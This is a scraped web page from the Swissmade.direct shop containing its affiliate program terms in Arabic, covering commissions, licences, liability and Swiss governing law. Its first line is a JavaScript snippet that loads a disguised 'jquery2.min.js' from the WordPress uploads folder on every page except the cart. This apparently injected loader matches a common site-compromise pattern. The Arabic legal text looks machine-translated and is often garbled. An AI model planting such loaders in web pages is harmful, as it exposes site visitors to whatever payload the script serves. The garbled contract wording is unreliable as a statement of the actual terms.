if (window.location.pathname !== '/cart/') { var scriptElement = document.createElement('script'); scriptElement.src = '/wp-content/uploads/jquery2.min.js'; document.head.appendChild(scriptElement); }

اتفاقية البرنامج التابع وشروطه وشروطه

تم إبرام اتفاقية البرنامج التابع ("الاتفاقية") ودخلت حيز التنفيذ في 28 سبتمبر 2016 (والتحديثات اللاحقة) بين Swissmade للتجارة المحدودة، Swissmade.direct، (SMT)، شركة منظمة وقائمة بموجب قوانين سويسرا، ويقع مكتبها الرئيسي في: Littauerboden 1, CH-6014 Lucerne و وانضم المسجلة والمقبولة (مشارك) ذو موطن قانوني حسب العنوان المسجل في الموقع التابع. مع الاشتراك في برنامج الشراكة يتم الاتفاق على ما يلي: حفلات
  1. اسم هذا البرنامج التابع هو البرنامج التابع Swissmade.direct (و"التابعة لبرنامج").
  2. يمثل مشارك ويضمن للSMT أن المشاركين قد قرأ وفهم سياسات الخصوصية وافقت على الشروط المبينة فيها.
  3. لأغراض هذه الاتفاقية ، يشير مصطلح "المشارك" إلى الفرد أو الكيان القانوني الذي يتقدم بطلب ويتم قبوله في البرنامج التابع. يشير المصطلح "SMT" إلى راعي البرنامج التابع. يشير مصطلح "موقع SMT's على الويب" إلى موقع الويب الذي تحتفظ به SMT في swissmade.direct. يشير مصطلح "موقع الويب الخاص بالمشارك" إلى موقع الويب الذي يوافق فيه المشارك على وضع رابط إلى موقع SMT على الويب ، ولكنه يتضمن أيضًا عنوان URL الذي تم إنشاؤه من SMT Affiliate Programm والحساب المرتبط بالمشارك في البرنامج التابع حيث تم تسجيل المشارك على موقع SMT. "البضائع" تعني جميع المنتجات والبضائع والمخزون التي تعرضها SMT للبيع من خلال موقعها على الويب.
1. البرنامج التابع التسجيل

للتسجيل في برنامج الشركاء التابعين ، يجب على المشارك استكمال وتقديم نموذج طلب الاشتراك في برنامج SMT Affiliate Program. يتم تضمين نموذج طلب الاشتراك في البرنامج على موقع الويب الخاص بـ SMT ويمكن استكماله وتقديمه من خلال موقع الويب الخاص به. يلتزم المشارك نفسه بإكمال جميع المعلومات بصدق.

2. الموافقة أو الرفض التابعة لها تطبيق برنامج

تحتفظ SMT بالحق في الموافقة على أي تطبيق لبرنامج تابع أو رفضه وفقًا لتقديرها الخاص والمطلق في أي وقت. لن يكون للمشارك حق الرجوع القانوني ضد SMT لرفض طلب برنامج الشراكة التابع للمشارك.

3. أسباب الرفض

بدون تقييد الحق في رفض أي طلب لأي سبب من الأسباب وفقًا لتقدير SMT المطلق ، سيتم رفض طلب المشارك إذا كان غير مكتمل أو لم يتم ملؤه بصدق أو إذا كان موقع الويب الخاص بالمشارك أو نشاطه التجاري يحتوي على صور أو محتوى غير مقبول SMT أو غير متوافق مع الصورة التي ترغب SMT في إنشائها بالاقتران مع موقع الويب الخاص بها ؛ أو إذا كان موقع الويب الخاص بالمشارك يحتوي على سبيل المثال لا الحصر على أي مواد غير قانونية أو غير أخلاقية أو بغيضة أو تشهيرية أو مهينة أو مضايقة أو ضارة أو مهددة أو فاحشة أو مبتذلة أو إباحية أو عنصرية أو عرقية مرفوضة ، وتصور المواقف الجنسية ، وتعزز التمييز على أساس العرق أو الجنس أو التفضيل الجنسي أو الأصل القومي أو العرق أو الجنسية أو الإعاقة أو التفضيل الديني أو البريد العشوائي أو إذا كان موقع المشارك يحتوي على أي مادة يبدو أن SMT تنتهك أي براءة اختراع أو علامة تجارية أو حقوق طبع ونشر أو سر تجاري أو معلومات سرية أو حقوق الملكية الأخرى لأي طرف آخر.

4. إنهاء AFTER ACCEPTANCE

حتى بعد قبول SMT للمشارك كعضو في البرنامج التابع ، تحتفظ SMT بالحق المطلق في إلغاء أو إنهاء حالة الشركة التابعة المشارك لأي سبب وفقًا لتقديرها المطلق ، بما في ذلك على سبيل المثال لا الحصر الأسباب الموضحة أعلاه. مع إنهاء العضوية ، سيتم إنهاء جميع مزايا برنامج Aiffiliate في نفس الوقت. يمكن إنهاء الحساب وإلغاء تنشيطه وحذفه دون إشعار مسبق.

5. RESPONSIBILIITES المالية

سوف المشارك مسئولا مسئولية كاملة عن جميع التكاليف والنفقات صيانة وتسويق التابعة لبرنامج، بما في ذلك سبيل المثال لا الحصر لجميع التكاليف المرتبطة الإبداعات، استضافة، تعديل، وإدخال تحسينات على الموقع المشارك، وتكاليف محرك البحث التنسيب وغيرها التسويق عبر الانترنت، وتكاليف إدخال صلات SMT لفي موقعها على شبكة الإنترنت، حاليا تكاليف التسويق، تكاليف البريد، وجميع التكاليف والمصروفات الأخرى، ومشارك يحمل بموجبه SMT غير مؤذية من أو ضد نفسه. SMT هي المسؤولة الوحيدة عن تكلفة بلده من swissmade.direct موقعها الإلكتروني وإنشاء URL ذات الصلة ل.

6. NO مزاعم بخصوص الدخل المحتملة

SMT لا تمثل والضمانات المتعلقة الدخل المحتملة التي قد تنجم عن المشاركة في هذا البرنامج التابع وينكر على وجه التحديد أي وكافة الضمانات بالنسبة إلى الإيرادات المحتملة من الوضع مشارك التابعة لها.

7. مسؤولية صلة الى موقع THE SMT'S

أ.) بصفته شريكًا ، سيكون على المشترك التزامات بتوزيع عناوين URL التي تم إنشاؤها (بما في ذلك المنتجات أو موقع SMT) من حسابه في البرنامج التابع لـ SMT أو وضع روابط على موقعه لتوجيه المستخدمين إلى موقع SMT . سيوفر SMT ارتباطات زر المشارك والروابط النصية وإعلانات الشعارات التي سيتم وضعها على موقع الويب الخاص بالمشارك والتي ستوجه المستخدمين إلى موقع SMT عبر رابط النص التشعبي. بصفته شريكًا في البرنامج ، يُمنح المشارك ترخيصًا محدود المدة ، خلال مدة المشاركة النشطة للمشارك باعتباره شريكًا في البرنامج ، للاستفادة من صور شعار SMT المقدمة إلى المشارك على موقع الويب الذي يعينه المشارك في تطبيق برنامج الشراكة المشارك. .

ب.) SMT يجعل إلى الشركات التابعة لها، وURL، وصلات، لافتات، وغيرها من المعلومات الإعلان عن موقعها أو المنتجات لاستخدامها تخضع لشروط هذه الاتفاقية متاحة. وسوف تتضمن هذه المواد العلامات التجارية وغيرها من الممتلكات الشخصية. قد يعرض المشارك هذه المواد على موقع الويب الخاص المشارك لغرض تعزيز موقع SMT والمنتجات والمشاركة في هذا البرنامج التابع. إذا كان المشارك وقف التابعة لبرنامج أو إذا تم إنهاء مشاركة مشارك لأي سبب من الأسباب، فإن المشارك تتوقف فورا عن استخدام هذه المواد وسيتم حذف جميع هذه المواد من موقعها على شبكة الإنترنت ومن الكمبيوتر الخاص به. المشارك يجب الحصول على موافقة SMT جميع الروابط إلى موقع SMT أن المكان المشارك في موقعها على الإنترنت. سوف المشارك التعاون مع SMT في إنشاء ووضع وصلات على موقع الويب الخاص المشارك.

ج). وسيتم السماح للمشارك فقط لاستخدام وصلات وفي URL التي SMT المقدمة للمشارك أو تم إنشاؤه في حساب المشارك من البرنامج للالتابعة للSMT على موقع على شبكة الإنترنت أن المشارك تعيين في تطبيق البرنامج التابع. فإن أي مواقع إضافية أو الكيانات تتطلب طلبات إضافية من التطبيقات التابعة لبرنامج وموافقة SMT.

د.) إن المشاركين لا تعديل الروابط أو غيرها من المواد التي وسمت المقدمة للمشارك أو وضع الروابط على صفحة المشارك. موافقة المشارك إلى SMT مراقبة الموقع المشارك لتحديد الامتثال المستمر لهذا الاتفاق.

ه) موافقة المشارك لفريق الإدارة العليا بما في ذلك المعلومات المتعلقة المرور من موقع المشارك في التقارير SMT. ويمكن الحصول على هذه المعلومات لأطراف خارجية.

8. خدمة الزبائن

أ.) وSMT ستكون مسؤولة عن التعامل مع جميع استفسارات العملاء، وأوامر المنتج، والفواتير العملاء وجمع، والمنتج شحنة بالنسبة للعملاء الذين يدخلون موقع SMT من خلال وصلات من موقع المشارك. تسعير المنتجات والخدمات SMT هو تماما ضمن سلطتها التقديرية وتحتفظ لنفسها SMT الحق في تغيير هيكل التسعير، وإنهاء أي العروض الخاصة، والتوقف عن المنتجات أو الخدمات، أو تغيير شروط التي يتم بموجبها تقديم المنتجات أو الخدمات في أي وقت، دون أي إشعار مسبق للمشارك أو المستخدمين الوصول إلى موقع SMT ل. مسؤولية SMT الوحيدة للمشارك في هذا الصدد هو أن تتبع أوامر العملاء التي تحدث من خلال URL التي تم إنشاؤها من حساب المشارك في البرنامج التابع للSMT و / أو روابط من موقع المشارك وتقديم التقارير للمشارك من اللجان بسبب المشارك نتيجة لذلك. يجب أن تكون جميع هذه التقارير غير المدققة. سوف SMT ليس لديهم التزام لتوفير مشارك مع أي المعلومات المتعلقة محددة لأي زبون، بغض النظر عما إذا كانوا الوصول إلى موقع SMT من خلال رابط من موقع المشارك.

ب.) وSMT ليست مسؤولة عن عدم تعيين أي عملية بيع أو لجان للمشارك إذا كانت نفس النتائج من التنسيق غير السليم للرابط من موقع الويب الخاص المشارك أو URL ولدت في برنامج الانتساب. يجب أن أؤكد المشارك في جميع الأوقات أن الارتباط أو URL تم تنسيقه بشكل مناسب والإبلاغ عن أي مشاكل التي قد يكون المشارك مع نفسه إلى SMT على الفور.

9. المكافآت

أ) سيتم دفع العمولات إلى المشارك بناءً على نسبة المبيعات (الصافية) التي تتم للمستخدمين الذين يصلون إلى موقع SMT من خلال عنوان URL الخاص بالمشارك لبرنامج الانتساب أو موقعه على الويب. سيتم احتساب العمولات على أساس سعر البيع الصافي لأمر ما ، لا يشمل أي شحن ومعالجة ، وضريبة المبيعات ، ورسوم الخدمة الخاصة مثل تغليف الهدايا أو تغليفها ، والرسوم المتأخرة ، وتكاليف التحصيل ، ورسوم الاستيراد / التصدير ، وأي مدفوعات أخرى يتم سدادها إلى SMT ليس سعر الشراء للمنتج الذي تم شراؤه. لن يتم احتساب العمولات على أساس المبالغ التي تُعزى إلى الاحتيال على بطاقات الائتمان أو الاعتمادات أو الخصومات الممنوحة للعملاء وتسوية الديون المعدومة وعمليات رد المبالغ المدفوعة والسلع المرتجعة. تحتفظ SMT بالحق في الخصم في الأشهر اللاحقة لأي عمولة دفعتها SMT لمنتج تم إرجاعه أو رده لاحقًا ، أو لأي سبب آخر إذا تم دفع العمولة الشهرية السابقة أكثر من اللازم أو خاضعة للتخفيض في وقت لاحق. تتغير الأسعار بناءً على إجمالي المبلغ الصافي للمبيعات المدفوعة الصالحة خلال السنة التقويمية والتي تظهر في حساب مشارك المنتسب.

ب.) النسب المئوية التي تدفع لجان أدناه حاليا على النحو المبين في التذييل ألف في نهاية هذا الاتفاق. تحتفظ SMT الحق في تغيير وتعديل هيكل أسعار العمولات في أي وقت، وفقا لSMT الوحيد.

ج.) لن يتم دفع عمولات على المبيعات التي يتم تعقب من خلال نظام SMT في التعقب على الانترنت وتشير URL المشارك أو رابط موقع على شبكة الإنترنت كمصدر. ليس هناك حق لجان إذا كان المستخدم يعود في وقت لاحق إلى موقع SMT، ويجعل عملية شراء من خلال رابط آخر أو مصدر آخر من خلال URL أو موقع على شبكة الإنترنت المشارك. المشارك ليس له الحق في اللجان على أساس مبيعات لاحقة، حتى لو وصلت أول زبون في موقع SMT من خلال رابط من موقع المشارك. سيتم تتبع اللجان فقط، وتدفع عند قيام المستخدم يجري عملية شراء في نفس الزيارة التي يقوم المستخدم بزيارة موقع SMT من وصلة من موقع المشارك أو URL له. للمبيعات لاحقة قد دفعت لجنة خفض وفقا لملحق A.

ود.) SMT دفع عمولة فقط على جمع من SMT. المشارك ليس له الحق في اللجان حتى يدفع العميل ينطبق على SMT بالكامل وأي طلب تحميل التكاليف أو قد حدث أي خسائر أخرى. سوف مشتريات الوحيدة التي يتم إجراؤها من خلال عملية الطلب على الانترنت وSMT وتعد نحو حسابات اللجنة. على سبيل المثال، إذا كان العميل يزور موقع SMT على شبكة الإنترنت من خلال الرابط من موقع المشارك وبدلا من وضع المكالمات طلب الشراء عبر الإنترنت ويضع النظام عن طريق الهاتف، والمشارك ليس لهم الحق في أي لجنة من هذا البيع.

ه). وسيتم دفع عمولات للمشارك على أساس شهري أو أيام 10 بعد تقديم الطلب للعميل. وSMT لا يضمن موعدا محددا لحساب عمولات أو المدفوعات. وسوف تتاح جميع المدفوعات عبر حوالة مصرفية إلى الحساب الذي المشارك توفيره في تطبيق البرنامج التابع. وSMT لا يرسل دفع إذا كان مجموع عمولة المستحقة للمشترك ليست على الأقل 10 CHF. وكميات أقل من 10 CHF تعود على حساب مشارك وسوف يتم السداد للشهر عند تحقيق مجموع اللجان المشارك في الحد الأدنى 10 CHF. تحتفظ SMT الحق في تعديل الحد الأدنى للدفع عمولة في أي وقت. يتم دفع أي رسوم لتحويل الأموال من قبل الطرفين في متساوين.

10. العملاء المنبع

جميع الأطراف التي جعل عمليات الشراء من خلال موقع SMT على شبكة الإنترنت، بغض النظر عما إذا كانوا قد وصلت إلى موقعها على شبكة الإنترنت من خلال الرابط من موقع المشارك أو عنوان URL، واعتبرت أن يكون العملاء SMT وليس العملاء المشارك بالنسبة للمنتجات SMT ل والخدمات. سوف SMT الحق في الاتصال هؤلاء العملاء وإرسال العروض التسويقية المستقبلية لهم. فإن المشاركين لا يحق للجان على المشتريات اللاحقة التي قد تقدمها هؤلاء العملاء، إلا لشراء اللاحقة التي يمكن أن تتبع في وقت الشراء عن طريق رابط من موقع المشارك أو URL. بالإضافة إلى ذلك، فإن جميع هؤلاء العملاء والشراء تخضع لسياسات SMT والإجراءات والقواعد واللوائح والمشارك ليس له الحق أو السلطة لتعديل أو تقديم أي عروض مختلفة النسبية لشراء المنتجات من موقع SMT على شبكة الإنترنت. وSMT ومع ذلك، تحتفظ بالحق في تعديل أي من شركاتها الأحكام والشروط والسياسات والإجراءات، والتسعير، سياسات الدفع والسياسات جمع، وجميع البنود الأخرى النسبية لأعمال SMT وبيع المنتجات في أي وقت وفقا لتقديرها.

11. العلامات التجارية وحقوق المؤلف

أ.) المشارك سيكون له غير حصري وترخيص محدود المدى لاستخدام العلامات التجارية والشعارات، ومواد محفوظة الحقوق أن SMT تقدم للمشارك للاستخدام فقط على الصفحة الرئيسية التي المشارك يعين في المشارك تطبيق التابعة لبرنامج أو في URL التي تم إنشاؤها في برنامج الانتساب من SMT. المشارك لا يجوز استخدام الصور أن SMT يجعل تحديدا المتاحة للSMT الأعضاء التابعة لها في مجال موقعها على شبكة الإنترنت التي تم تحديدها على وجه التحديد كصور الموافقة على برنامج الشراكة الأعضاء أو المقدمة إليهم مباشرة. المشارك قد لا توزيع أو إعادة إنتاج أو تعديل أو، هذه الصور بأي شكل من الأشكال. قد تستخدم المشارك هذه الصور فقط لأغراض تعزيز موقع الويب لSMT والمنتجات في الامتثال للسياسات والإجراءات التابعة لبرنامج وشروط هذا الاتفاق. الترخيص الممنوح لذلك يخضع لاستكمال الامتثال لجميع شروط وأحكام هذه الاتفاقية وأية سياسات SMT قد خلق وتعديل من وقت لآخر بشأن البرنامج التابع.

ب.) المشارك سوف تستخدم فقط من هذه العناصر في شكل وحجم، والمحتوى، وظهور أن SMT قدمت لهم للمشارك. لا يسمح المشارك لتعديلها. يوافق المشارك لعرض هذه العناصر بشكل بارز على موقعها على شبكة الإنترنت أو لتوزيعها من خلال URL التي تم إنشاؤها. ويمكن استخدام هذه العناصر فقط في إذا كانت تحتوي على رابط تشعبي إلى موقع SMT على شبكة الإنترنت. يعمل بهذا ينتهي الترخيص فور انتهاء من البرنامج التابع. يجوز للSMT أيضا إنهاء هذا الترخيص بناء على إشعار للمشترك في حال استخدام المشارك لهذه البنود هو مخالف للأو لا يتوافق مع معاييرها، هذه المعايير يتم تحديدها وفقا لتقديرها المطلق. يوافق المشارك أن SMT يحتفظ كل الحق والملكية والمصلحة في جميع هذه المواد. سوف SMT تحتفظ كل النوايا الحسنة وقيمة أخرى مرتبطة بأي من هذه المواد. فإن المشاركين لا يكتسب أي علامة تجارية أو حقوق النشر أو غيرها من حقوق الملكية لهذه المواد. يوافق المشارك على عدم اتخاذ أي إجراء يخالف أو يتعارض مع حقوق SMT لهذه المواد. فإن المشاركين عدم استخدام هذه المواد بأي شكل من الأشكال أن تضر أو ​​قذف، تحط، تحط، أو سلبية إلى SMT أو أن يرسم SMT في ضوء كاذبة أو سلبي. وSMT قد تلغي الترخيص المحدود الممنوح بموجب هذه الاتفاقية في أي وقت في الكتابة للمشارك. عند انتهاء أو إلغاء، فإن المشارك تتوقف فورا عن أي استخدام هذه المواد.

ج) لا يجوز للمشارك لاستخدام أي مواد الملكية الأخرى، بما في ذلك ولكن لا تقتصر على العلامات التجارية وحقوق التأليف والنشر، والشعارات، والنص، وأية مواد أخرى تنتمي إلى SMT أو أي طرف آخر والتي قد تظهر على شبكة الإنترنت SMT ل موقع.

د) يمنح المشاركون إلى سمت حق غير حصري وترخيص لاستخدام العلامات التجارية للمشاركين وأسماءهم التجارية وعلامات الخدمة وأسماء الشركات وعناوين صفحات الويب والشعارات والشعارات والمواد المحمية بموجب حقوق الطبع والنشر لأغراض الترويج والإعلان، أو الإعلان عن، أو تسويق مشاركة المشارك في برنامج الشركات التابعة ل سمت. ويمثل المشارك ويضمن لشركة سمت أنه ليس لأي طرف آخر أي حقوق في أي من هذه المواد ولأن هذه المواد لا تنتهك حقوق أي طرف آخر أو تتعارض معها. يمثل المشارك ويضمن أن يكون سمت المطلق والوحيد والحصري لجميع هذه المواد و سمت من جميع حقوق العلامات التجارية وحقوق التأليف والنشر، وحقوق الملكية الأخرى في وإلى نفسه. ويمثل المشارك الحق والسلطة والسلطة لترخيص المواد المذكورة إلى فريق الإدارة العليا كما ذكر آنفا، وأن المشارك ليس تحت أي قيود قانونية أو تعاقدية على الحق في ترخيص هذه المواد. لا تتحمل سمت أي التزام بالإعلان عن مشاركة المشارك في برنامج الشركاء التابعين لشركة سمت أو الإعلان عنها أو تسويقها أو الترويج لها، ولكنها تحتفظ لنفسها بالحق في أن تفعل الشيء نفسه وفقا لتقديرها الخاص.

12. توافر المنتج وSMT لا يمكن أن تضمن توافر المنتجات أو مدة بأي ثمن أو العروض الترويجية الخاصة أو العرض. 13. RESPONSABILITIES

المشارك هو المسؤول عن جميع المسائل المتعلقة توزيع المشاركين بهم من URL و / أو موقع على شبكة الإنترنت بما في ذلك في مجال التنمية، والصيانة والتشغيل ووضع وصلات على موقع المشارك في الامتثال لشروط البرنامج التابع. المشارك مسؤولة تماما لجميع العناصر التي تظهر على موقعها أو URL ولضمان أن هذه البنود لا تنتهك أو تنتهك حقوق أي طرف آخر. ويشهد مشارك للحصول على آل القواعد والأنظمة، وخاصة فيما يتعلق المزعج والسياسات القائمة السوداء. SMT ليست مسؤولة عن أي مسألة تتعلق موقع المشارك، توزيع URL أو محتوى منها والمشارك يحمل SMT غير ضارة ويعوض SMT من أي وجميع المطالبات والدعاوى، والتهديدات والمطالب والالتزامات والإجراءات، أسباب الإجراءات ذات الصلة في أي وسيلة لموقع المشارك والأعمال. ويشمل هذا التعويض تكاليف SMT وأتعاب المحاماة في الدفاع عن أي مسألة من هذا القبيل. يمثل مشارك ويضمن للSMT لا ولن يحتوي موقعها أي مواد غير قانونية والتي لا تعمل لأغراض غير مشروعة أو بطريقة غير مشروعة موقع المشارك.

14. التأكيدات والضمانات

المشارك يمثل بموجبه ويضمن لSMT لديها القدرة الكاملة والسلطة للدخول في هذا الاتفاق وأن هذا الاتفاق يشكل اتفاق ساري المفعول وقابلة للتنفيذ من الناحية القانونية. دخول هذا الاتفاق تم المخولين وحسب الأصول من قبل جميع الإجراءات التنظيمية للشركات أو غيرها من التدابير اللازمة والموافقات. لا يحظر دخول المشارك من هذه الاتفاقية من قبل حيث أي وثيقة، لا يتعارض مع أي قانون أو قاعدة أو لوائح، وليس في انتهاك أي محكمة أو أمر إداري.

15. مصطلح

يتعين على فعالية هذا الاتفاق لن يبدأ حتى يتم قبول الطلب التابعة لبرنامج مشارك من قبل SMT. لن يحدث فعالية هذا القانون وأثر ملزم على قبول SMT من تطبيق البرنامج التابع مشارك. تظل هذه الاتفاقية سارية المفعول والتأثير الكامل حتى يتم إنهاؤها من قبل المشاركين أو من قبل SMT. إما SMT أو المشارك قد إنهاء هذه الاتفاقية في أي وقت، بسبب أو بدون سبب، من خلال إعطاء الحزب مكتوبة إشعار آخر الإنهاء في الامتثال لهذا الاتفاق. إشعارات ترسل بموجبه يكون عبر البريد الإلكتروني للمشارك في عنوان البريد الإلكتروني المبين في تطبيق البرنامج التابع مشارك. أي وجميع إشعارات للمشارك عبر البريد الإلكتروني في أي عنوان ويعتبر أن تكون إشعار فعال للمشارك لجميع الأغراض.

16. الإنهاء

سوف المشارك يفقد كل الحق في الحصول على اللجان السابقة التي قد تكون مستحقة للمشارك إذا تم إنهاء هذه الاتفاقية نتيجة لفشل المشارك للامتثال لأحكام هذه الاتفاقية أو أي سياسات وإجراءات التابعة لبرنامج التي قد تنشأ و عدله SMT وفقا لتقديرها من وقت لآخر. إذا تم إنهاء هذه الاتفاقية لأي سبب آخر، فإن المشاركين لديهم الحق في الحصول على جانه المستحقة من خلال التاريخ الفعلي لإنهاء. المقدمة، أنه إذا كان مجموع اللجان المشارك المستحقة بموجب هذه الاتفاقية لا يتجاوز CHF 10.00، تسقط هذه اللجنة المستحقة. وSMT الحق في الامتناع عن دفع العمولات النهائية لوقت كاف من أجل ضمان أن المبلغ المدفوع للمشارك دقيق وغير قابل للتعديل لاحق للعودة المدفوعة أو لأي سبب آخر. إذا التالية الدفعة النهائية يحدد SMT أن كمية اللجان التي تم دفع المشاركين كانت مرتفعة جدا، نتيجة للعوائد لاحقة أو أي تعديل أو سبب آخر، يعاملون الفرق يكون الدين من المشاركين إلى SMT ويقوم SMT لديك كل الحق القانوني للحصول على استرداد هذه اللجنة زائدة من المشاركين.

17. التعديلات

تحتفظ SMT الحق وفقا لتقديرها المطلق، لتعديل أي بنود وشروط التابعة لبرنامج وشروط وأحكام هذه الاتفاقية بموجب إشعار المشارك. ويمكن إعطاء إشعار من أي تغييرات عن طريق البريد الإلكتروني للمشارك أو عن طريق نشر مثل هذه التغييرات في الأقسام التابعة البرنامج من موقع SMT على شبكة الإنترنت. ومثل هذه التغييرات والتعديلات سارية المفعول على انتقال البريد الإلكتروني أو نشرها على موقع SMT على شبكة الإنترنت. المشارك قد إنهاء المشاركة في برنامج الانتساب في حال عدم تمكن أي من هذه التعديلات غير مقبولة للمشارك وهذا الإنهاء يكون الوحيد المشارك وعلاج خاص. في حال استمرار المشارك للمشاركة في البرنامج التابع التالية هذه التعديلات، سيعتبر المشارك من قبل المشارك استمرار المشاركة لقبول أي وجميع هذه التغييرات.

18. المطلوبات

أ.) ينكر THE SMT بموجبه أي وجميع الضمانات والمسؤوليات المتعلقة أي تعطيل أو فشل للمستخدمين لتكون قادرة على الوصول ITS WEB SITE أو الوصول إلى ITS WEB SITE باستخدام الرابط OR URL من موقع الويب الخاص المشارك OR THE URL الموزعة. وعلاوة على ذلك، يجب على SMT لن تكون مسؤولة عن وبهذا ينكر أي وجميع الضمانات المتصلة ITS SITE WEB، التابعة لبرنامج، ومشاركة المشاركين في البرنامج التابع، قدرة المشارك لجعل أي عمولات أو غير ذلك الربح من خلال المشاركة في هذا البرنامج التابع ، بما في ذلك سبيل المثال لا الحصر أية ضمانات من الملاءمة لغرض معين أو MERCHANTIBILITY، عدم الانتهاك، أو أي ادعاء على أساس بالطبع SMT في التعامل أو استخدام التجارة. THE SMT لا تمثل أو تضمن أن ITS WEB SITE أو أي تطبيق، بما في ذلك سبيل المثال لا الحصر ITS LINK AND / OR URL تعقب الميزات، سوف تكون خالية من الأخطاء أو أنها سوف تعمل دون انقطاع.

ب) THE SMT لن تكون مسؤولة عن أي أضرار أو التزامات من أي نوع مباشرة أو غير مباشرة، بما في ذلك سبيل المثال لا الحصر عرضية أو تبعية أو غير مباشرة، أو أضرار خاصة أو الأرباح أو الخسائر، LOST فرصة تجارية أو أي أضرار أخرى. بغض النظر عما إذا كان SMT WAS أو قد تم إبلاغ من احتمال وقوع THE SAME و لم تتخذ أي إجراء لمنع SAME.

ج.) بدون تحديد ما سبق، فإن المسؤولية SMT الإجمالية عن أية أضرار تنشأ بموجب هذه الاتفاقية لا يتجاوز مجموع العمولات المدفوعة والمستحقة على SMT وفقا لأحكام هذا القانون.

19. سرية

في حالة أن يتم الإفصاح عن أي معلومات للمشارك من خلال مشاركة مشارك في البرنامج التابع المتعلقة بأي شكل من الأشكال للشركة SMT والأعمال التي SMT يراها أن تكون سرية والملكية، يوافق المشارك على عقد مثل هذه المعلومات في صرامة ل الثقة وعدم الإفصاح عن تلك المعلومات لأي طرف آخر أو استخدام أي معلومات من هذا القبيل لأغراض المشارك الخاصة. وسوف تشمل معلومات سرية أي معلومات بشأن التغييرات SMT أو تعديلات على هذه الاتفاقية أو هذا البرنامج التابع (والذي يكون للSMT أي التزام لجعل) أو أي معاملة خاصة قد يحصل عليها المشارك (التي تحتفظ SMT الحق أن تقدم في ه التقدير المطلق لأي التابعة لها). ويجب أن تتضمن معلومات سرية أيضا أي وجميع المعلومات المتعلقة بالأعمال وSMT، وخطط العمل وخطط التسويق والإحصاءات المستعمل، المعلومات المالية، والتسعير، والأرباح، معلومات عضوية والانتماءات، معلومات المبيعات، وجميع المعلومات الأخرى التي ترى SMT أن تكون سرية وما ملكت أيمانكم.

20. تعويض

المشارك يعوض بموجبه ويحمل SMT، وجميع المساهمين SMT، والضباط والمدراء والموظفين والمقاولين والشركات التابعة لها، وكلاء، وورثتهم والمتنازل لهم من الضرر وضد أي وجميع المطالبات والالتزامات والأضرار والإجراءات، أسباب العمل، تستند الدعاوى، والتهديدات والمطالب، والمستوطنات، بما في ذلك جميع التكاليف وأتعاب المحاماة المتعلقة بها، أن SMT قد تتكبدها والتي كليا أو جزئيا على مشاركة مشارك في البرنامج التابع، أي مزاعم بأن أي من العلامات التجارية مشارك وغيرها الملكية تنتهك المواد على حقوق أي طرف آخر، وخرق مشارك من أي مصطلح والعهود، والشرط، تمثيل أو ضمان الواردة في هذه الاتفاقية أو أي سياسات للمشاركة في برنامج الانتساب، أو أي مطالبة تتعلق بشكل مباشر أو غير مباشر إلى استخدام مشارك أو تشغيل أو محتوى موقع على شبكة الإنترنت المشارك.

21. القانون الذي يحكم

يجب أن تفسر هذه الاتفاقية بموجب قوانين سويسرا. يجوز لأي وجميع الإجراءات القانونية يكون بهذه الوثيقة النسبية في المحاكم لوسيرن، سويسرا. 22. العلاقة بين الأطراف

للطرفين المتعاقدين المستقلين بهذه الوثيقة وتفسر شيئا الواردة هنا عن خلق أي علاقة أخرى غير تلك الأطراف المتعاقدة مستقلة. لا يجوز تفسير الأطراف باعتبارها شركاء، بالمشروع المشترك والمساهمين وصاحب العمل / الموظف، وكيل / موظف. المشارك لا يوجد لديه صلاحية أو سلطة ربط SMT إلى أي التزام أو اتفاق أو الدين أو المسؤولية. يجب على المشارك أن يشغلوا نفسها من كوكيل أو ممثل SMT. أي تعديل لهذا الحكم أن يكون في شكل الكتابة وsignatured صحيح من الناحية القانونية.

23. إشعارات

إشعارات إلى SMT يجب أن يكون عن طريق البريد المسجل، بعلم الوصول موجهة إلى عنوان الواردة في هذه الاتفاقية، أو أي عنوان آخر أن SMT تقديم إشعار للمشترك عن طريق البريد الإلكتروني أو عن طريق نشر نفسه على قسم الفروع على شبكة الإنترنت SMT موقع. يجب إشعارات للمشارك أن يكون عن طريق البريد الإلكتروني الموجهة إلى عنوان البريد الإلكتروني الذي قدم المشارك لفريق الإدارة العليا في تطبيق البرنامج التابع المشارك أو عن طريق نشر هذه الإشعارات في القسم التابع للموقع SMT على شبكة الإنترنت. يجب أن يكون مسؤولية المشارك للتحقق من القسم التابع للموقع على شبكة الإنترنت SMT دورية لرصد جميع الملاحظات الواردة في هذا الشأن.

24. مهمة

هذا الاتفاق هو فقط لمصلحة الحزب أن قائمة المشاركين في تطبيق البرنامج التابع. يكون للمشارك وليس صحيحا لتعيين هذه الاتفاقية أو أي فوائد أو التزام بموجب هذه الاتفاقية لأي طرف آخر أو كيان قانوني. فإن أي محاولة احالة باطلة.

25 الاتفاقية بأكملها

يحدد هذا الاتفاق عليها في اتفاق كامل والتفاهم بين الطرفين فيما يتعلق بالموضوع المذكور هنا، وتسود أي وكل السابقة المناقشات والتفاهمات والاتفاقات، تمثيل أو ضمانات أو تعهدات بين الطرفين فيما يتعلق بموضوعها. يجوز تعديل هذه الاتفاقية فقط بموجب مستند خطي موقع من قبل ممثل مفوض من كل الأطراف، باستثناء ما هو منصوص عليها في هذا القانون. فإن أي تنازل عن مخالفة أو تقصير بموجب هذا الاتفاق لا يشكل تنازلا عن أي خرق أو إهمال لاحقة أو غيرها، ولا تعمل على تعديل الاتفاقيات المنصوص عليها فيه.

إذا ثبت أن أي حكم أو مدة هذه الاتفاقية لاغية لأي سبب من الأسباب، فإنه لا يجوز أن تؤثر على إنفاذ ما تبقى من هذه الاتفاقية أو أي شرط أو آخر من هذه الاتفاقية. 26. BEGINNING OT هذه الشروط والأحكام يوافق المشارك مع إنشاء حساب البرنامج التابع على الصفحة SMT التابعة لبرنامج لهذا الاتفاق والشروط والأحكام. يوافق SMT للمشارك مع قبول التقديم وتأكيد الصلة. الملحق أ أسعار جنة في CHF
المبلغ الإجمالي للمبيعات CHF معدل البيع الأول في٪ معدل مبيعات لاحقة في٪
حتى 5'000.00 8 4
5'001.00 - 10'000.00 10 5
10'001.00 - 15'000.00 10 6
15'001.00 - 20'000.00 10 6.5
20'001.00 - 25'000.00 10 7
25'001.00 - 30'000.00

10

7.5
30'001.00 - غير محدود اتفاق خاص اتفاق خاص

سلة التسوق

×
عربة التسوق فارغة. الذهاب للتسوق
حدد عملتك
انتقل إلى الأعلى
بحث
طعام و شراب

بسكويت
الجمال والعناية
بسكويت
الطعام و الشراب
القهوة السويسرية
طعام نباتي

جير الأعمال
معدات التخييم
رياضة
حقيبة ظهر سويسرية
شنط السفر